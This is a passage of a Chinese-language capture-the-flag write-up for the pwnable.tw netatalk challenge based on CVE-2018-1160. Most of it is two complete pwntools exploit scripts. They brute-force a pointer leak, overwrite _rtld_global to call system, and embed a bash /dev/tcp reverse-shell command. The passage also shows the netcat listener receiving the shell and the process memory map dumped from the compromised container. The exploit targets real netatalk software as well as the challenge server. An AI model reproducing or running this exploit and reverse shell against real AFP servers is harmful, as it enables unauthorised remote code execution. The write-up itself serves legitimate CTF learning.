通过其他题目测试,pwnable.tw远程使用:bash -c “bash -i>& /dev/tcp/ip/port 0<&1” 反弹shell是有效的
在pwnable.tw CVE-2018-1160 Write up中,提到远程版本为ubuntu18.04.1,下载相同镜像,测试题目情况下,libc基址与_rtld_global偏移为 0xed2060,故最终exp如下:
from pwn import *
context(endian='little')
ip = "chall.pwnable.tw"
port = 10002
libc = ELF("./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so")
def gen_dsi(data):
dsi = b'\x00\x04\x00\x01'
dsi += p32(0)
dsi += p32(len(data),endian='big')
dsi += p32(0)
dsi += data
return dsi
def aaw(io,addr,data):
payload = b'\x01'+ p8(0x18)+ b'a'*0x10 + p64(addr)
io.send(gen_dsi(payload))
io.recv()
io.send(gen_dsi(data))
def boom():
leak = b''
for j in range(8):
for i in range(256):
if(j>1 and j<6): i = 255 - i
io = remote(ip,port)
payload = b'\x01'+ p8(0x11+j)+ b'a'*0x10 + leak + p8(i)
io.send(gen_dsi(payload))
try:
a = io.recv()
leak += p8(i)
log.success(str(hex(i)))
io.close()
break
except:
io.close()
return u64(leak)
leak_addr = boom()
log.success(hex(leak_addr))
for i in range(0x0000000,0xffff000,0x1000):
libc.address = leak_addr - i
rtld = libc.address + 0xed2060
cmd = b'bash -c "bash -i>& /dev/tcp/ip/port 0<&1"'
try:
io = remote(ip,port)
aaw(io,rtld+2312,cmd.ljust(0x5f8,b'\x00')+p64(libc.symbols['system']))
io.close()
except:
io.close()
监听端口后,开始爆破,使用linode日本服务器,大约五分钟后,即可getshell:
ubuntu@VM-16-6-ubuntu:~$ nc -l 8888
bash: cannot set terminal process group (7): Inappropriate ioctl for device
bash: no job control in this shell
netatalk@08e1e5af1e65:/$
拿shell后,查看远程目标内存布局(2021.11.6):
netatalk@08e1e5af1e65:/$ cat /proc/8/maps
cat /proc/8/maps
563f3dcc3000-563f3dd05000 r-xp 00000000 08:00 348786 /home/netatalk/afpd
563f3df04000-563f3df06000 r--p 00041000 08:00 348786 /home/netatalk/afpd
563f3df06000-563f3df09000 rw-p 00043000 08:00 348786 /home/netatalk/afpd
563f3df09000-563f3df28000 rw-p 00000000 00:00 0
563f3e18f000-563f3e1fd000 rw-p 00000000 00:00 0 [heap]
7fa9b7479000-7fa9b7484000 r-xp 00000000 08:00 2534640 /lib/x86_64-linux-gnu/libnss_files-2.27.so
7fa9b7484000-7fa9b7683000 ---p 0000b000 08:00 2534640 /lib/x86_64-linux-gnu/libnss_files-2.27.so
7fa9b7683000-7fa9b7684000 r--p 0000a000 08:00 2534640 /lib/x86_64-linux-gnu/libnss_files-2.27.so
7fa9b7684000-7fa9b7685000 rw-p 0000b000 08:00 2534640 /lib/x86_64-linux-gnu/libnss_files-2.27.so
7fa9b7685000-7fa9b768b000 rw-p 00000000 00:00 0
7fa9b768b000-7fa9b7828000 r-xp 00000000 08:00 2534623 /lib/x86_64-linux-gnu/libm-2.27.so
7fa9b7828000-7fa9b7a27000 ---p 0019d000 08:00 2534623 /lib/x86_64-linux-gnu/libm-2.27.so
7fa9b7a27000-7fa9b7a28000 r--p 0019c000 08:00 2534623 /lib/x86_64-linux-gnu/libm-2.27.so
7fa9b7a28000-7fa9b7a29000 rw-p 0019d000 08:00 2534623 /lib/x86_64-linux-gnu/libm-2.27.so
7fa9b7a29000-7fa9b7a30000 r-xp 00000000 08:00 2535365 /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4
7fa9b7a30000-7fa9b7c2f000 ---p 00007000 08:00 2535365 /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4
7fa9b7c2f000-7fa9b7c30000 r--p 00006000 08:00 2535365 /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4
7fa9b7c30000-7fa9b7c31000 rw-p 00007000 08:00 2535365 /usr/lib/x86_64-linux-gnu/libffi.so.6.0.4
7fa9b7c31000-7fa9b7c3a000 r-xp 00000000 08:00 2534606 /lib/x86_64-linux-gnu/libcrypt-2.27.so
7fa9b7c3a000-7fa9b7e39000 ---p 00009000 08:00 2534606 /lib/x86_64-linux-gnu/libcrypt-2.27.so
7fa9b7e39000-7fa9b7e3a000 r--p 00008000 08:00 2534606 /lib/x86_64-linux-gnu/libcrypt-2.27.so
7fa9b7e3a000-7fa9b7e3b000 rw-p 00009000 08:00 2534606 /lib/x86_64-linux-gnu/libcrypt-2.27.so
7fa9b7e3b000-7fa9b7e69000 rw-p 00000000 00:00 0
7fa9b7e69000-7fa9b7f6d000 r-xp 00000000 08:00 1041433 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7fa9b7f6d000-7fa9b816c000 ---p 00104000 08:00 1041433 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7fa9b816c000-7fa9b816f000 r--p 00103000 08:00 1041433 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7fa9b816f000-7fa9b8171000 rw-p 00106000 08:00 1041433 /usr/lib/x86_64-linux-gnu/libsqlite3.so.0.8.6
7fa9b8171000-7fa9b8172000 rw-p 00000000 00:00 0
7fa9b8172000-7fa9b81b8000 r-xp 00000000 08:00 1041335 /usr/lib/x86_64-linux-gnu/libhx509.so.5.0.0
7fa9b81b8000-7fa9b83b7000 ---p 00046000 08:00 1041335 /usr/lib/x86_64-linux-gnu/libhx509.so.5.0.0
7fa9b83b7000-7fa9b83ba000 r--p 00045000 08:00 1041335 /usr/lib/x86_64-linux-gnu/libhx509.so.5.0.0
7fa9b83ba000-7fa9b83bb000 rw-p 00048000 08:00 1041335 /usr/lib/x86_64-linux-gnu/libhx509.so.5.0.0
7fa9b83bb000-7fa9b83bc000 rw-p 00000000 00:00 0
7fa9b83bc000-7fa9b83ca000 r-xp 00000000 08:00 1041320 /usr/lib/x86_64-linux-gnu/libheimbase.so.1.0.0
7fa9b83ca000-7fa9b85c9000 ---p 0000e000 08:00 1041320 /usr/lib/x86_64-linux-gnu/libheimbase.so.1.0.0
7fa9b85c9000-7fa9b85ca000 r--p 0000d000 08:00 1041320 /usr/lib/x86_64-linux-gnu/libheimbase.so.1.0.0
7fa9b85ca000-7fa9b85cb000 rw-p 0000e000 08:00 1041320 /usr/lib/x86_64-linux-gnu/libheimbase.so.1.0.0
7fa9b85cb000-7fa9b85f3000 r-xp 00000000 08:00 1041445 /usr/lib/x86_64-linux-gnu/libwind.so.0.0.0
7fa9b85f3000-7fa9b87f2000 ---p 00028000 08:00 1041445 /usr/lib/x86_64-linux-gnu/libwind.so.0.0.0
7fa9b87f2000-7fa9b87f3000 r--p 00027000 08:00 1041445 /usr/lib/x86_64-linux-gnu/libwind.so.0.0.0
7fa9b87f3000-7fa9b87f4000 rw-p 00028000 08:00 1041445 /usr/lib/x86_64-linux-gnu/libwind.so.0.0.0
7fa9b87f4000-7fa9b8873000 r-xp 00000000 08:00 2535371 /usr/lib/x86_64-linux-gnu/libgmp.so.10.3.2
7fa9b8873000-7fa9b8a73000 ---p 0007f000 08:00 2535371 /usr/lib/x86_64-linux-gnu/libgmp.so.10.3.2
7fa9b8a73000-7fa9b8a74000 r--p 0007f000 08:00 2535371 /usr/lib/x86_64-linux-gnu/libgmp.so.10.3.2
7fa9b8a74000-7fa9b8a75000 rw-p 00080000 08:00 2535371 /usr/lib/x86_64-linux-gnu/libgmp.so.10.3.2
7fa9b8a75000-7fa9b8aa8000 r-xp 00000000 08:00 2535375 /usr/lib/x86_64-linux-gnu/libhogweed.so.4.4
7fa9b8aa8000-7fa9b8ca7000 ---p 00033000 08:00 2535375 /usr/lib/x86_64-linux-gnu/libhogweed.so.4.4
7fa9b8ca7000-7fa9b8ca8000 r--p 00032000 08:00 2535375 /usr/lib/x86_64-linux-gnu/libhogweed.so.4.4
7fa9b8ca8000-7fa9b8ca9000 rw-p 00033000 08:00 2535375 /usr/lib/x86_64-linux-gnu/libhogweed.so.4.4
7fa9b8ca9000-7fa9b8cdd000 r-xp 00000000 08:00 2535385 /usr/lib/x86_64-linux-gnu/libnettle.so.6.4
7fa9b8cdd000-7fa9b8edc000 ---p 00034000 08:00 2535385 /usr/lib/x86_64-linux-gnu/libnettle.so.6.4
7fa9b8edc000-7fa9b8ede000 r--p 00033000 08:00 2535385 /usr/lib/x86_64-linux-gnu/libnettle.so.6.4
7fa9b8ede000-7fa9b8edf000 rw-p 00035000 08:00 2535385 /usr/lib/x86_64-linux-gnu/libnettle.so.6.4
7fa9b8edf000-7fa9b8ef0000 r-xp 00000000 08:00 2535398 /usr/lib/x86_64-linux-gnu/libtasn1.so.6.5.5
7fa9b8ef0000-7fa9b90f0000 ---p 00011000 08:00 2535398 /usr/lib/x86_64-linux-gnu/libtasn1.so.6.5.5
7fa9b90f0000-7fa9b90f1000 r--p 00011000 08:00 2535398 /usr/lib/x86_64-linux-gnu/libtasn1.so.6.5.5
7fa9b90f1000-7fa9b90f2000 rw-p 00012000 08:00 2535398 /usr/lib/x86_64-linux-gnu/libtasn1.so.6.5.5
7fa9b90f2000-7fa9b926c000 r-xp 00000000 08:00 2535402 /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0
7fa9b926c000-7fa9b946c000 ---p 0017a000 08:00 2535402 /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0
7fa9b946c000-7fa9b946f000 r--p 0017a000 08:00 2535402 /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0
7fa9b946f000-7fa9b9470000 rw-p 0017d000 08:00 2535402 /usr/lib/x86_64-linux-gnu/libunistring.so.2.1.0
7fa9b9470000-7fa9b948c000 r-xp 00000000 08:00 2535377 /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.3
7fa9b948c000-7fa9b968b000 ---p 0001c000 08:00 2535377 /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.3
7fa9b968b000-7fa9b968c000 r--p 0001b000 08:00 2535377 /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.3
7fa9b968c000-7fa9b968d000 rw-p 0001c000 08:00 2535377 /usr/lib/x86_64-linux-gnu/libidn2.so.0.3.3
7fa9b968d000-7fa9b97a7000 r-xp 00000000 08:00 2535387 /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0
7fa9b97a7000-7fa9b99a7000 ---p 0011a000 08:00 2535387 /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0
7fa9b99a7000-7fa9b99b1000 r--p 0011a000 08:00 2535387 /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0
7fa9b99b1000-7fa9b99bb000 rw-p 00124000 08:00 2535387 /usr/lib/x86_64-linux-gnu/libp11-kit.so.0.3.0
7fa9b99bb000-7fa9b99bc000 rw-p 00000000 00:00 0
7fa9b99bc000-7fa9b99d8000 r-xp 00000000 08:00 2534686 /lib/x86_64-linux-gnu/libz.so.1.2.11
7fa9b99d8000-7fa9b9bd7000 ---p 0001c000 08:00 2534686 /lib/x86_64-linux-gnu/libz.so.1.2.11
7fa9b9bd7000-7fa9b9bd8000 r--p 0001b000 08:00 2534686 /lib/x86_64-linux-gnu/libz.so.1.2.11
7fa9b9bd8000-7fa9b9bd9000 rw-p 0001c000 08:00 2534686 /lib/x86_64-linux-gnu/libz.so.1.2.11
7fa9b9bd9000-7fa9b9bee000 r-xp 00000000 08:00 1041418 /usr/lib/x86_64-linux-gnu/libroken.so.18.1.0
7fa9b9bee000-7fa9b9ded000 ---p 00015000 08:00 1041418 /usr/lib/x86_64-linux-gnu/libroken.so.18.1.0
7fa9b9ded000-7fa9b9dee000 r--p 00014000 08:00 1041418 /usr/lib/x86_64-linux-gnu/libroken.so.18.1.0
7fa9b9dee000-7fa9b9def000 rw-p 00015000 08:00 1041418 /usr/lib/x86_64-linux-gnu/libroken.so.18.1.0
7fa9b9def000-7fa9b9e22000 r-xp 00000000 08:00 1041305 /usr/lib/x86_64-linux-gnu/libhcrypto.so.4.1.0
7fa9b9e22000-7fa9ba021000 ---p 00033000 08:00 1041305 /usr/lib/x86_64-linux-gnu/libhcrypto.so.4.1.0
7fa9ba021000-7fa9ba023000 r--p 00032000 08:00 1041305 /usr/lib/x86_64-linux-gnu/libhcrypto.so.4.1.0
7fa9ba023000-7fa9ba024000 rw-p 00034000 08:00 1041305 /usr/lib/x86_64-linux-gnu/libhcrypto.so.4.1.0
7fa9ba024000-7fa9ba025000 rw-p 00000000 00:00 0
7fa9ba025000-7fa9ba028000 r-xp 00000000 08:00 2534605 /lib/x86_64-linux-gnu/libcom_err.so.2.1
7fa9ba028000-7fa9ba227000 ---p 00003000 08:00 2534605 /lib/x86_64-linux-gnu/libcom_err.so.2.1
7fa9ba227000-7fa9ba228000 r--p 00002000 08:00 2534605 /lib/x86_64-linux-gnu/libcom_err.so.2.1
7fa9ba228000-7fa9ba229000 rw-p 00003000 08:00 2534605 /lib/x86_64-linux-gnu/libcom_err.so.2.1
7fa9ba229000-7fa9ba2c7000 r-xp 00000000 08:00 1041260 /usr/lib/x86_64-linux-gnu/libasn1.so.8.0.0
7fa9ba2c7000-7fa9ba4c7000 ---p 0009e000 08:00 1041260 /usr/lib/x86_64-linux-gnu/libasn1.so.8.0.0
7fa9ba4c7000-7fa9ba4c8000 r--p 0009e000 08:00 1041260 /usr/lib/x86_64-linux-gnu/libasn1.so.8.0.0
7fa9ba4c8000-7fa9ba4cb000 rw-p 0009f000 08:00 1041260 /usr/lib/x86_64-linux-gnu/libasn1.so.8.0.0
7fa9ba4cb000-7fa9ba552000 r-xp 00000000 08:00 1041348 /usr/lib/x86_64-linux-gnu/libkrb5.so.26.0.0
7fa9ba552000-7fa9ba751000 ---p 00087000 08:00 1041348 /usr/lib/x86_64-linux-gnu/libkrb5.so.26.0.0
7fa9ba751000-7fa9ba755000 r--p 00086000 08:00 1041348 /usr/lib/x86_64-linux-gnu/libkrb5.so.26.0.0
7fa9ba755000-7fa9ba757000 rw-p 0008a000 08:00 1041348 /usr/lib/x86_64-linux-gnu/libkrb5.so.26.0.0
7fa9ba757000-7fa9ba758000 rw-p 00000000 00:00 0
7fa9ba758000-7fa9ba760000 r-xp 00000000 08:00 1041326 /usr/lib/x86_64-linux-gnu/libheimntlm.so.0.1.0
7fa9ba760000-7fa9ba95f000 ---p 00008000 08:00 1041326 /usr/lib/x86_64-linux-gnu/libheimntlm.so.0.1.0
7fa9ba95f000-7fa9ba960000 r--p 00007000 08:00 1041326 /usr/lib/x86_64-linux-gnu/libheimntlm.so.0.1.0
7fa9ba960000-7fa9ba961000 rw-p 00008000 08:00 1041326 /usr/lib/x86_64-linux-gnu/libheimntlm.so.0.1.0
7fa9ba961000-7fa9baab8000 r-xp 00000000 08:00 2535373 /usr/lib/x86_64-linux-gnu/libgnutls.so.30.14.10
7fa9baab8000-7fa9bacb8000 ---p 00157000 08:00 2535373 /usr/lib/x86_64-linux-gnu/libgnutls.so.30.14.10
7fa9bacb8000-7fa9bacc4000 r--p 00157000 08:00 2535373 /usr/lib/x86_64-linux-gnu/libgnutls.so.30.14.10
7fa9bacc4000-7fa9bacc5000 rw-p 00163000 08:00 2535373 /usr/lib/x86_64-linux-gnu/libgnutls.so.30.14.10
7fa9bacc5000-7fa9bacc6000 rw-p 00000000 00:00 0
7fa9bacc6000-7fa9bad03000 r-xp 00000000 08:00 1041293 /usr/lib/x86_64-linux-gnu/libgssapi.so.3.0.0
7fa9bad03000-7fa9baf03000 ---p 0003d000 08:00 1041293 /usr/lib/x86_64-linux-gnu/libgssapi.so.3.0.0
7fa9baf03000-7fa9baf05000 r--p 0003d000 08:00 1041293 /usr/lib/x86_64-linux-gnu/libgssapi.so.3.0.0
7fa9baf05000-7fa9baf07000 rw-p 0003f000 08:00 1041293 /usr/lib/x86_64-linux-gnu/libgssapi.so.3.0.0
7fa9baf07000-7fa9baf20000 r-xp 00000000 08:00 1041424 /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25
7fa9baf20000-7fa9bb120000 ---p 00019000 08:00 1041424 /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25
7fa9bb120000-7fa9bb121000 r--p 00019000 08:00 1041424 /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25
7fa9bb121000-7fa9bb122000 rw-p 0001a000 08:00 1041424 /usr/lib/x86_64-linux-gnu/libsasl2.so.2.0.25
7fa9bb122000-7fa9bb139000 r-xp 00000000 08:00 2534661 /lib/x86_64-linux-gnu/libresolv-2.27.so
7fa9bb139000-7fa9bb339000 ---p 00017000 08:00 2534661 /lib/x86_64-linux-gnu/libresolv-2.27.so
7fa9bb339000-7fa9bb33a000 r--p 00017000 08:00 2534661 /lib/x86_64-linux-gnu/libresolv-2.27.so
7fa9bb33a000-7fa9bb33b000 rw-p 00018000 08:00 2534661 /lib/x86_64-linux-gnu/libresolv-2.27.so
7fa9bb33b000-7fa9bb33d000 rw-p 00000000 00:00 0
7fa9bb33d000-7fa9bb34a000 r-xp 00000000 08:00 1041363 /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.10.8
7fa9bb34a000-7fa9bb549000 ---p 0000d000 08:00 1041363 /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.10.8
7fa9bb549000-7fa9bb54a000 r--p 0000c000 08:00 1041363 /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.10.8
7fa9bb54a000-7fa9bb54b000 rw-p 0000d000 08:00 1041363 /usr/lib/x86_64-linux-gnu/liblber-2.4.so.2.10.8
7fa9bb54b000-7fa9bb562000 r-xp 00000000 08:00 2534634 /lib/x86_64-linux-gnu/libnsl-2.27.so
7fa9bb562000-7fa9bb761000 ---p 00017000 08:00 2534634 /lib/x86_64-linux-gnu/libnsl-2.27.so
7fa9bb761000-7fa9bb762000 r--p 00016000 08:00 2534634 /lib/x86_64-linux-gnu/libnsl-2.27.so
7fa9bb762000-7fa9bb763000 rw-p 00017000 08:00 2534634 /lib/x86_64-linux-gnu/libnsl-2.27.so
7fa9bb763000-7fa9bb765000 rw-p 00000000 00:00 0
7fa9bb765000-7fa9bb7b3000 r-xp 00000000 08:00 1041396 /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.10.8
7fa9bb7b3000-7fa9bb9b2000 ---p 0004e000 08:00 1041396 /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.10.8
7fa9bb9b2000-7fa9bb9b4000 r--p 0004d000 08:00 1041396 /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.10.8
7fa9bb9b4000-7fa9bb9b5000 rw-p 0004f000 08:00 1041396 /usr/lib/x86_64-linux-gnu/libldap_r-2.4.so.2.10.8
7fa9bb9b5000-7fa9bb9b7000 rw-p 00000000 00:00 0
7fa9bb9b7000-7fa9bb9bb000 r-xp 00000000 08:00 2534590 /lib/x86_64-linux-gnu/libattr.so.1.1.0
7fa9bb9bb000-7fa9bbbba000 ---p 00004000 08:00 2534590 /lib/x86_64-linux-gnu/libattr.so.1.1.0
7fa9bbbba000-7fa9bbbbb000 r--p 00003000 08:00 2534590 /lib/x86_64-linux-gnu/libattr.so.1.1.0
7fa9bbbbb000-7fa9bbbbc000 rw-p 00004000 08:00 2534590 /lib/x86_64-linux-gnu/libattr.so.1.1.0
7fa9bbbbc000-7fa9bbbc4000 r-xp 00000000 08:00 1041226 /lib/x86_64-linux-gnu/libwrap.so.0.7.6
7fa9bbbc4000-7fa9bbdc4000 ---p 00008000 08:00 1041226 /lib/x86_64-linux-gnu/libwrap.so.0.7.6
7fa9bbdc4000-7fa9bbdc5000 r--p 00008000 08:00 1041226 /lib/x86_64-linux-gnu/libwrap.so.0.7.6
7fa9bbdc5000-7fa9bbdc6000 rw-p 00009000 08:00 1041226 /lib/x86_64-linux-gnu/libwrap.so.0.7.6
7fa9bbdc6000-7fa9bbfad000 r-xp 00000000 08:00 2534598 /lib/x86_64-linux-gnu/libc-2.27.so
7fa9bbfad000-7fa9bc1ad000 ---p 001e7000 08:00 2534598 /lib/x86_64-linux-gnu/libc-2.27.so
7fa9bc1ad000-7fa9bc1b1000 r--p 001e7000 08:00 2534598 /lib/x86_64-linux-gnu/libc-2.27.so
7fa9bc1b1000-7fa9bc1b3000 rw-p 001eb000 08:00 2534598 /lib/x86_64-linux-gnu/libc-2.27.so
7fa9bc1b3000-7fa9bc1b7000 rw-p 00000000 00:00 0
7fa9bc1b7000-7fa9bc1d1000 r-xp 00000000 08:00 2534659 /lib/x86_64-linux-gnu/libpthread-2.27.so
7fa9bc1d1000-7fa9bc3d0000 ---p 0001a000 08:00 2534659 /lib/x86_64-linux-gnu/libpthread-2.27.so
7fa9bc3d0000-7fa9bc3d1000 r--p 00019000 08:00 2534659 /lib/x86_64-linux-gnu/libpthread-2.27.so
7fa9bc3d1000-7fa9bc3d2000 rw-p 0001a000 08:00 2534659 /lib/x86_64-linux-gnu/libpthread-2.27.so
7fa9bc3d2000-7fa9bc3d6000 rw-p 00000000 00:00 0
7fa9bc3d6000-7fa9bc3dd000 r-xp 00000000 08:00 2534586 /lib/x86_64-linux-gnu/libacl.so.1.1.0
7fa9bc3dd000-7fa9bc5dc000 ---p 00007000 08:00 2534586 /lib/x86_64-linux-gnu/libacl.so.1.1.0
7fa9bc5dc000-7fa9bc5dd000 r--p 00006000 08:00 2534586 /lib/x86_64-linux-gnu/libacl.so.1.1.0
7fa9bc5dd000-7fa9bc5de000 rw-p 00007000 08:00 2534586 /lib/x86_64-linux-gnu/libacl.so.1.1.0
7fa9bc5de000-7fa9bc5e1000 r-xp 00000000 08:00 2534608 /lib/x86_64-linux-gnu/libdl-2.27.so
7fa9bc5e1000-7fa9bc7e0000 ---p 00003000 08:00 2534608 /lib/x86_64-linux-gnu/libdl-2.27.so
7fa9bc7e0000-7fa9bc7e1000 r--p 00002000 08:00 2534608 /lib/x86_64-linux-gnu/libdl-2.27.so
7fa9bc7e1000-7fa9bc7e2000 rw-p 00003000 08:00 2534608 /lib/x86_64-linux-gnu/libdl-2.27.so
7fa9bc7e2000-7fa9bc860000 r-xp 00000000 08:00 348787 /home/netatalk/libatalk.so.18
7fa9bc860000-7fa9bca5f000 ---p 0007e000 08:00 348787 /home/netatalk/libatalk.so.18
7fa9bca5f000-7fa9bca60000 r--p 0007d000 08:00 348787 /home/netatalk/libatalk.so.18
7fa9bca60000-7fa9bca62000 rw-p 0007e000 08:00 348787 /home/netatalk/libatalk.so.18
7fa9bca62000-7fa9bca70000 rw-p 00000000 00:00 0
7fa9bca70000-7fa9bca97000 r-xp 00000000 08:00 2534580 /lib/x86_64-linux-gnu/ld-2.27.so
7fa9bcc81000-7fa9bcc92000 rw-p 00000000 00:00 0
7fa9bcc95000-7fa9bcc97000 rw-p 00000000 00:00 0
7fa9bcc97000-7fa9bcc98000 r--p 00027000 08:00 2534580 /lib/x86_64-linux-gnu/ld-2.27.so
7fa9bcc98000-7fa9bcc99000 rw-p 00028000 08:00 2534580 /lib/x86_64-linux-gnu/ld-2.27.so
7fa9bcc99000-7fa9bcc9a000 rw-p 00000000 00:00 0
7ffdda198000-7ffdda1b9000 rw-p 00000000 00:00 0 [stack]
7ffdda1cb000-7ffdda1cd000 r--p 00000000 00:00 0 [vvar]
7ffdda1cd000-7ffdda1cf000 r-xp 00000000 00:00 0 [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
有了libc基址后,就可以一发搞定了,因为不用爆破,所以可以在本地打(2021.11.6):
from pwn import *
context(endian='little')
ip = "chall.pwnable.tw"
port = 10002
libc = ELF("./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so")
def gen_dsi(data):
dsi = b'\x00\x04\x00\x01'
dsi += p32(0)
dsi += p32(len(data),endian='big')
dsi += p32(0)
dsi += data
return dsi
def aaw(io,addr,data):
payload = b'\x01'+ p8(0x18)+ b'a'*0x10 + p64(addr)
io.send(gen_dsi(payload))
io.recv()
io.send(gen_dsi(data))
libc.address = 0x7fa9bbdc6000
rtld = libc.address + 0xed2060
cmd = b'bash -c "bash -i>& /dev/tcp/ip/port 0<&1"'
io = remote(ip,port)
aaw(io,rtld+2312,cmd.ljust(0x5f8,b'\x00')+p64(libc.symbols['system']))
io.close()
但发现打完三分钟后才能收到shell,故情况和我本地相同:没有在tcp断掉后立即结束进程,推测原因可能是配置的timeout并没有生效。最后的效果很像三体中的罗辑打187J3X1,打完200多年后才看到打成了。你们可以摆脱我了:我打算冬眠,当收到shell时,叫醒我…